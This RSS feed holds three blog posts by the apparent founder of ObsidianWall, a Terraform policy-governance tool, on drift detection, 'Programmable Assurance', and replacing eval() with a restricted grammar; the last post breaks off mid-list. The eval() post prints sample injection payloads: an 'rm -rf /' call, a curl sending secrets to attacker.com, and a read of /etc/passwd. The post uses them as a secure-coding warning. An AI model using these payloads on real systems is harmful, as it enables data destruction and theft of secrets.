<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Aisha</title>
    <description>The latest articles on DEV Community by Aisha (@aisha_ow).</description>
    <link>https://dev.to/aisha_ow</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3949967%2Fbf0520a6-2209-41cd-b79d-58bd28f1ecf7.png</url>
      <title>DEV Community: Aisha</title>
      <link>https://dev.to/aisha_ow</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/aisha_ow"/>
    <language>en</language>
    <item>
      <title>I Built a Pre-Deployment Governance Tool. Here's What It Couldn't Answer.</title>
      <dc:creator>Aisha</dc:creator>
      <pubDate>Mon, 08 Jun 2026 09:30:00 +0000</pubDate>
      <link>https://dev.to/aisha_ow/i-built-a-pre-deployment-governance-tool-heres-what-it-couldnt-answer-ecm</link>
      <guid>https://dev.to/aisha_ow/i-built-a-pre-deployment-governance-tool-heres-what-it-couldnt-answer-ecm</guid>
      <description>&lt;p&gt;&lt;em&gt;&lt;strong&gt;By Aisha Ibrahim&lt;br&gt;
Founder, ObsidianWall&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;



&lt;p&gt;About three months into building ObsidianWall Verdict, I ran into a question I kept not being able to answer.&lt;/p&gt;

&lt;p&gt;Verdict works well at what it does. You give it a Terraform plan and a policy, and it tells you whether the deployment should proceed — risk score, condition trace, full audit artifact. Deterministic. Explainable. Fast.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;verdict evaluate &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--plan&lt;/span&gt;   terraform_plan.json &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--policy&lt;/span&gt; policies/cost/basic_budget.yaml &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--role&lt;/span&gt;   engineer
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;DENY_WITH_OVERRIDE&lt;/code&gt;. Risk 75/100. Budget exceeded.&lt;/p&gt;

&lt;p&gt;Clean output. Clear decision.&lt;/p&gt;

&lt;p&gt;Except I kept thinking: &lt;em&gt;then what?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The deployment got blocked. Did someone override it? Did they just deploy from a different terminal? Did the cost actually come in under budget when they eventually ran it? Did the policy even matter?&lt;/p&gt;

&lt;p&gt;Verdict had no idea. It made a decision and moved on. That's a policy engine, not a governance system.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;The gap nobody talks about&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Most policy-as-code tools stop at pass/fail. Check runs, result comes back, pipeline continues or doesn't. That's where the category ends for most teams.&lt;/p&gt;

&lt;p&gt;But the whole premise of what I'm building — Programmable Assurance — is that enforcement alone isn't assurance. Assurance means you can demonstrate that reality stayed aligned with intent over time. Not just at the moment of deployment. After it.&lt;/p&gt;

&lt;p&gt;So I started building Sentinel.&lt;/p&gt;

&lt;p&gt;Verdict's question: &lt;em&gt;should this deployment be allowed?&lt;/em&gt;&lt;br&gt;
Sentinel's question: &lt;em&gt;did reality stay aligned after the decision was made?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Those sound similar. They're not.&lt;/p&gt;



&lt;p&gt;&lt;strong&gt;The design problem I didn't see coming&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;My first draft of Sentinel required passing &lt;code&gt;--policy&lt;/code&gt; on every scan:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;verdict sentinel scan &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--plan&lt;/span&gt;   terraform_plan.json &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--policy&lt;/span&gt; policies/cost/basic_budget.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Explicit. Works fine. Also wrong.&lt;/p&gt;

&lt;p&gt;The problem isn't the UX. The problem is what question it's asking. When you require &lt;code&gt;--policy&lt;/code&gt;, you're asking: &lt;em&gt;which policy file should I use?&lt;/em&gt; But when you run Sentinel, the real question is: &lt;em&gt;which governance decision am I verifying against?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Those are different questions. One is filesystem-centric. The other is governance-centric.&lt;/p&gt;

&lt;p&gt;If a policy file gets moved, renamed, or updated between Verdict's evaluation and when Sentinel runs, you lose the connection. You're no longer comparing against the original decision — you're comparing against whatever the current policy says. That's not reality verification. That's just running Verdict twice.&lt;/p&gt;

&lt;p&gt;The fix was small but it mattered architecturally. Store the policy path inside the governance decision record at evaluation time:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nf"&gt;record_decision&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;plan_path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;plan&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;policy_path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;policy&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="c1"&gt;# now stored in decisions table
&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now Sentinel loads the comparison decision from governance history, reads the stored &lt;code&gt;policy_path&lt;/code&gt;, and uses that to re-evaluate the current plan. No &lt;code&gt;--policy&lt;/code&gt; flag required.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;verdict sentinel scan &lt;span class="nt"&gt;--plan&lt;/span&gt; terraform_plan.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The governance record is the source of truth. Not the filesystem. The decision ID is the stable reference — not a file path that might change.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;What the output actually looks like&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When nothing has drifted:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;────────────────────────────────────────────────────────────────────────
  ObsidianWall Sentinel — Drift Detection Report
────────────────────────────────────────────────────────────────────────

  Decision:  5a6f5869  (2026-06-08 05:55:04)
  Policy:    basic_budget_verdict
  Plan:      samples/terraform_plan.json

  Decision Comparison
────────────────────────────────────────────────────────────────────────
  Previous:  ⚠️  DENY_WITH_OVERRIDE    risk: 75/100
  Current:   ⚠️  DENY_WITH_OVERRIDE    risk: 75/100

  Condition Comparison
────────────────────────────────────────────────────────────────────────
  budget_check    ✗ FAIL → ✗ FAIL    unchanged

  Outcome
────────────────────────────────────────────────────────────────────────
  ✅ No drift detected
  Recorded: no_drift
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pay attention to what gets recorded: &lt;code&gt;no_drift&lt;/code&gt;. Not &lt;code&gt;deployment_success&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;That distinction is intentional. Sentinel at this stage has no cloud API access. It cannot know whether a deployment actually ran or succeeded. It only knows whether the governance state of the plan matches the previous evaluation. So it records what it can actually observe.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;deployment_success&lt;/code&gt; would be a claim about what happened in production. Sentinel has no evidence for that claim. &lt;code&gt;no_drift&lt;/code&gt; is a claim about governance state. That it can verify directly.&lt;/p&gt;

&lt;p&gt;Small distinction. But this kind of precision is what separates a tool that's honest about its own limitations from one that manufactures confidence.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Three evidence streams, not one&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Building Sentinel forced me to think more clearly about the different kinds of evidence a governance system actually produces.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Decision Evidence&lt;/strong&gt; is what Verdict creates — what was decided, why, with what risk score, based on which conditions.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reality Evidence&lt;/strong&gt; is what Sentinel creates — whether the governance state held after the decision was made. Did the plan drift? Did new failures appear?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Operational Evidence&lt;/strong&gt; is what neither of them creates yet — whether the deployment actually succeeded or caused an incident in production. That requires cloud API integration and comes later.&lt;/p&gt;

&lt;p&gt;Most governance tools collapse all three into a single log entry. "Passed." "Failed." Full stop.&lt;/p&gt;

&lt;p&gt;Keeping them separate matters because they answer genuinely different questions. Once you have all three, you can start asking things that governance tooling almost never supports: Did the policies that denied deployments actually prevent incidents? Are there controls that get overridden constantly without any subsequent problems — suggesting they're miscalibrated? Which policies generate friction without generating safety?&lt;/p&gt;

&lt;p&gt;That's governance intelligence. Not governance logging.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Where it stands&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Verdict is live and open source. Sentinel MVP shipped this week. The audit output is starting to show evidence from multiple streams in one place:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Deployment Outcomes

no_drift              2
deployment_success    2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two outcomes. Small number. But real evidence — not assumed outcomes, not synthetic telemetry. As that history grows, the insights engine stops guessing and starts reasoning from actual data.&lt;/p&gt;

&lt;p&gt;The repo is at &lt;a href="https://github.com/ObsidianWall/obsidianwall-verdict" rel="noopener noreferrer"&gt;github.com/ObsidianWall/obsidianwall-verdict&lt;/a&gt; if you want to look at the implementation or try it against your own Terraform plans.&lt;/p&gt;

</description>
      <category>devops</category>
      <category>opensource</category>
      <category>security</category>
      <category>governance</category>
    </item>
    <item>
      <title>Defining Programmable Assurance</title>
      <dc:creator>Aisha</dc:creator>
      <pubDate>Mon, 01 Jun 2026 08:07:00 +0000</pubDate>
      <link>https://dev.to/aisha_ow/defining-programmable-assurance-3675</link>
      <guid>https://dev.to/aisha_ow/defining-programmable-assurance-3675</guid>
      <description>&lt;p&gt;&lt;em&gt;By Aisha Ibrahim &lt;br&gt;
Founder, ObsidianWall — building programmable&lt;br&gt;
  governance infrastructure for cloud and AI systems.&lt;/em&gt;&lt;/p&gt;




&lt;p&gt;For decades, organizations have relied on policies, standards, controls, audits, and governance processes to create assurance.&lt;/p&gt;

&lt;p&gt;Assurance answers a simple question:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;How do we know that what we intended is actually happening?&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Traditionally, assurance has been manual.&lt;/p&gt;

&lt;p&gt;Policies are written in documents.&lt;/p&gt;

&lt;p&gt;Controls are implemented separately by engineering teams.&lt;/p&gt;

&lt;p&gt;Auditors review evidence months later.&lt;/p&gt;

&lt;p&gt;Exceptions are tracked in spreadsheets.&lt;/p&gt;

&lt;p&gt;Approvals occur through emails and ticketing systems.&lt;/p&gt;

&lt;p&gt;The result is a governance gap between intent and reality.&lt;/p&gt;

&lt;p&gt;Organizations define what they want, but they often lack a reliable mechanism to continuously verify that reality matches that intent.&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;u&gt;The Problem&lt;/u&gt;
&lt;/h2&gt;

&lt;p&gt;Modern organizations operate through software.&lt;/p&gt;

&lt;p&gt;Infrastructure is code.&lt;/p&gt;

&lt;p&gt;Security controls are code.&lt;/p&gt;

&lt;p&gt;Identity systems are code.&lt;/p&gt;

&lt;p&gt;AI systems are code.&lt;/p&gt;

&lt;p&gt;Yet governance remains largely document-driven.&lt;/p&gt;

&lt;p&gt;This creates a fundamental mismatch.&lt;/p&gt;

&lt;p&gt;Engineering operates at machine speed.&lt;/p&gt;

&lt;p&gt;Governance operates at human speed.&lt;/p&gt;

&lt;p&gt;The larger and more complex an organization becomes, the larger this gap grows.&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;u&gt;What Is Programmable Assurance?&lt;/u&gt;
&lt;/h2&gt;

&lt;p&gt;Programmable Assurance is the discipline of expressing organizational intent as executable, verifiable, explainable, and continuously enforceable governance logic.&lt;/p&gt;

&lt;p&gt;Instead of relying solely on written policies and periodic audits, assurance becomes programmable.&lt;/p&gt;

&lt;p&gt;Intent becomes code.&lt;/p&gt;

&lt;p&gt;Controls become executable.&lt;/p&gt;

&lt;p&gt;Decisions become deterministic.&lt;/p&gt;

&lt;p&gt;Evidence becomes continuously generated.&lt;/p&gt;

&lt;p&gt;Accountability becomes traceable.&lt;/p&gt;

&lt;p&gt;Assurance is no longer a retrospective activity.&lt;/p&gt;

&lt;p&gt;It becomes a runtime capability.&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;u&gt;Core Principles&lt;/u&gt;
&lt;/h2&gt;

&lt;p&gt;Programmable Assurance is built upon five principles.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Intent Must Be Executable
&lt;/h3&gt;

&lt;p&gt;Policies should not exist solely as documents.&lt;/p&gt;

&lt;p&gt;Organizational intent must be represented in a form that systems can evaluate automatically.&lt;/p&gt;

&lt;p&gt;Examples include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Cost governance&lt;/li&gt;
&lt;li&gt;Security requirements&lt;/li&gt;
&lt;li&gt;Compliance obligations&lt;/li&gt;
&lt;li&gt;Identity controls&lt;/li&gt;
&lt;li&gt;Data governance requirements&lt;/li&gt;
&lt;li&gt;AI governance standards&lt;/li&gt;
&lt;li&gt;Resilience objectives&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2. Decisions Must Be Deterministic
&lt;/h3&gt;

&lt;p&gt;Governance decisions should be explainable and reproducible.&lt;/p&gt;

&lt;p&gt;Given the same inputs and policies, the system should produce the same outcome every time.&lt;/p&gt;

&lt;p&gt;Determinism creates trust.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Assurance Must Be Continuous
&lt;/h3&gt;

&lt;p&gt;Traditional audits occur periodically.&lt;/p&gt;

&lt;p&gt;Programmable Assurance operates continuously.&lt;/p&gt;

&lt;p&gt;Every proposed change can be evaluated before implementation.&lt;/p&gt;

&lt;p&gt;Every decision can generate evidence.&lt;/p&gt;

&lt;p&gt;Every exception can be recorded.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Governance Must Be Explainable
&lt;/h3&gt;

&lt;p&gt;Organizations need more than decisions.&lt;/p&gt;

&lt;p&gt;They need reasoning.&lt;/p&gt;

&lt;p&gt;A governance system should answer:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What decision was made?&lt;/li&gt;
&lt;li&gt;Why was it made?&lt;/li&gt;
&lt;li&gt;Which conditions influenced the outcome?&lt;/li&gt;
&lt;li&gt;What evidence supported the decision?&lt;/li&gt;
&lt;li&gt;Who approved exceptions?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Explainability transforms governance from a black box into an accountable process.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Accountability Must Be Programmable
&lt;/h3&gt;

&lt;p&gt;Governance is ultimately about accountability.&lt;/p&gt;

&lt;p&gt;Different stakeholders own different risks:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Engineers own implementation.&lt;/li&gt;
&lt;li&gt;Security teams own security risk.&lt;/li&gt;
&lt;li&gt;Budget owners own financial risk.&lt;/li&gt;
&lt;li&gt;Compliance teams own regulatory risk.&lt;/li&gt;
&lt;li&gt;Executives own business risk.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Programmable Assurance routes governance decisions to the stakeholders responsible for those risks while preserving operational velocity.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;u&gt;Beyond Policy-as-Code&lt;/u&gt;
&lt;/h2&gt;

&lt;p&gt;Programmable Assurance is not merely Policy-as-Code.&lt;/p&gt;

&lt;p&gt;Policy-as-Code focuses on expressing rules as executable logic.&lt;/p&gt;

&lt;p&gt;Programmable Assurance encompasses a broader lifecycle:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Intent → Policy → Evaluation → Decision → Explainability → Accountability → Evidence → Continuous Assurance&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Policy execution is only one component.&lt;/p&gt;

&lt;p&gt;Assurance is the outcome.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;u&gt;Why This Matters&lt;/u&gt;
&lt;/h2&gt;

&lt;p&gt;As organizations become increasingly software-defined and AI-driven, governance can no longer remain document-centric.&lt;/p&gt;

&lt;p&gt;Organizations require systems capable of continuously translating intent into enforceable outcomes.&lt;/p&gt;

&lt;p&gt;Programmable Assurance provides a framework for achieving that goal.&lt;/p&gt;

&lt;p&gt;It transforms governance from static documentation into an active operational capability.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;The future of governance is not more policies.&lt;br&gt;
The future of governance is making assurance programmable.&lt;/code&gt;&lt;/p&gt;

</description>
      <category>governance</category>
      <category>devops</category>
      <category>terraform</category>
      <category>security</category>
    </item>
    <item>
      <title>Why I Didn't Use eval() in ObsidianWall's Policy Engine — And What I Built Instead</title>
      <dc:creator>Aisha</dc:creator>
      <pubDate>Mon, 25 May 2026 13:00:00 +0000</pubDate>
      <link>https://dev.to/aisha_ow/why-i-didnt-use-eval-in-obsidianwalls-policy-engine-and-what-i-built-instead-31kb</link>
      <guid>https://dev.to/aisha_ow/why-i-didnt-use-eval-in-obsidianwalls-policy-engine-and-what-i-built-instead-31kb</guid>
      <description>&lt;p&gt;&lt;em&gt;By Aisha Ibrahim&lt;br&gt;
Founder, ObsidianWall&lt;/em&gt;&lt;/p&gt;



&lt;p&gt;When you're building a tool that evaluates policy expressions like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;current_spend&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;estimated_cost&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;budget&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;amount&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;the obvious implementation is a single line of Python:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It works. It's clean. It takes five minutes to write.&lt;/p&gt;

&lt;p&gt;I didn't use it. Here's exactly why — and what I built instead.&lt;/p&gt;




&lt;h2&gt;
  
  
  What ObsidianWall Is
&lt;/h2&gt;

&lt;p&gt;Before getting into the technical decision, some context.&lt;/p&gt;

&lt;p&gt;ObsidianWall is a &lt;strong&gt;programmable assurance platform&lt;/strong&gt; — a system for encoding human governance intent as executable policy, evaluating it deterministically, and enforcing it transparently with full audit traceability.&lt;/p&gt;

&lt;p&gt;The core doctrine of the platform is this:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;AI may advise. AI may explain. AI may optimize. AI may recommend.&lt;/em&gt;&lt;br&gt;
&lt;em&gt;AI may NOT authoritatively govern.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That single principle drives every architectural decision in the platform, including the one this article is about.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ObsidianWall Verdict&lt;/strong&gt; is the first executable built on that platform — a deterministic pre-deployment infrastructure governance engine. It evaluates infrastructure plans against policy before deployment happens, produces an enforcement decision, and generates an audit-grade trace of exactly how that decision was reached.&lt;/p&gt;

&lt;p&gt;The expression evaluator is at the heart of how Verdict makes those decisions. And that is where &lt;code&gt;eval()&lt;/code&gt; became the wrong answer.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Problem With eval() in a Governance Engine
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;eval()&lt;/code&gt; executes arbitrary Python expressions. That sentence sounds harmless until you think carefully about what "arbitrary" means in the context of a system that:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Accepts policy files written by humans&lt;/li&gt;
&lt;li&gt;Processes infrastructure plans from CI/CD pipelines&lt;/li&gt;
&lt;li&gt;Makes enforcement decisions that block or allow deployments&lt;/li&gt;
&lt;li&gt;Produces audit records that compliance teams rely on&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In that context, "arbitrary" means any of the following become valid inputs to your evaluator:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Someone writes this as a policy condition expression:
&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;__import__(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;os&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;).system(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;rm -rf /&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="c1"&gt;# Or this:
&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;__import__(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;subprocess&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;).call([&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;curl&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;, &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;http://attacker.com&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;, &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;-d&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;, secrets])&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="c1"&gt;# Or something subtler:
&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;open(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/etc/passwd&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;).read() == &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;root&lt;/span&gt;&lt;span class="sh"&gt;'"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;eval()&lt;/code&gt; executes all of them without question.&lt;/p&gt;

&lt;p&gt;The standard advice is to sandbox it by removing builtins:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;__builtins__&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{}},&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is not sufficient. Python's object model provides paths back to dangerous capabilities through class hierarchies even with builtins removed. Security researchers have broken every Python eval sandbox ever published. This is a fundamentally unsolved problem — not an engineering challenge you can outthink with a clever enough sandbox.&lt;/p&gt;

&lt;p&gt;But the security problem is not even the most important reason to reject &lt;code&gt;eval()&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Real Problem: Auditability
&lt;/h2&gt;

&lt;p&gt;A governance engine is not a calculator. It is a system that makes enforcement decisions about infrastructure and produces audit records that humans, compliance teams, and regulators rely on.&lt;/p&gt;

&lt;p&gt;For that system to be trustworthy, every decision must be:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Deterministic&lt;/strong&gt; — the same input always produces the same output, without exception&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Auditable&lt;/strong&gt; — a human reading the trace can verify the decision independently without running any code&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bounded&lt;/strong&gt; — the complete set of things the evaluator can do is finite, known, and describable&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;eval()&lt;/code&gt; fails all three requirements.&lt;/p&gt;

&lt;p&gt;It is non-deterministic by design — side effects, I/O, and state mutations are all possible. It is not auditable — you cannot fully describe its behavior surface without describing all of Python. It is unbounded — it can do anything Python can do.&lt;/p&gt;

&lt;p&gt;What a governance engine actually needs is not a Python expression evaluator. It needs a &lt;strong&gt;restricted expression grammar&lt;/strong&gt; — a purposefully small language that can only do exactly what policy evaluation requires, and nothing else. The restriction is not a limitation. It is the entire point.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Solution: A Deterministic Expression Grammar
&lt;/h2&gt;

&lt;p&gt;ObsidianWall Verdict's condition evaluator supports a deliberately minimal grammar:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Comparison operators:   &amp;lt;=   &amp;gt;=   &amp;lt;   &amp;gt;   ==
Arithmetic operations:  addition  ( a + b )
Operand types:          context keys,  numeric literals
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is the complete grammar. No function calls. No variable assignment. No imports. No string manipulation. No loops. No conditionals beyond the comparison itself.&lt;/p&gt;

&lt;p&gt;If an expression requires anything outside this grammar, the evaluator does not attempt to execute it. It raises an error with a clear message. The boundary is explicit, enforced, and fully testable.&lt;/p&gt;

&lt;p&gt;This means a policy author can write:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;conditions&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;budget_check&lt;/span&gt;
    &lt;span class="na"&gt;expression&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;(current_spend&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;+&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;estimated_cost)&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;budget.amount"&lt;/span&gt;
    &lt;span class="na"&gt;description&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Monthly&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;spend&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;cap&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;enforcement"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the evaluator resolves it step by step:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Strip cosmetic parentheses&lt;/li&gt;
&lt;li&gt;Identify the comparison operator — &lt;code&gt;&amp;lt;=&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Split into left side and right side&lt;/li&gt;
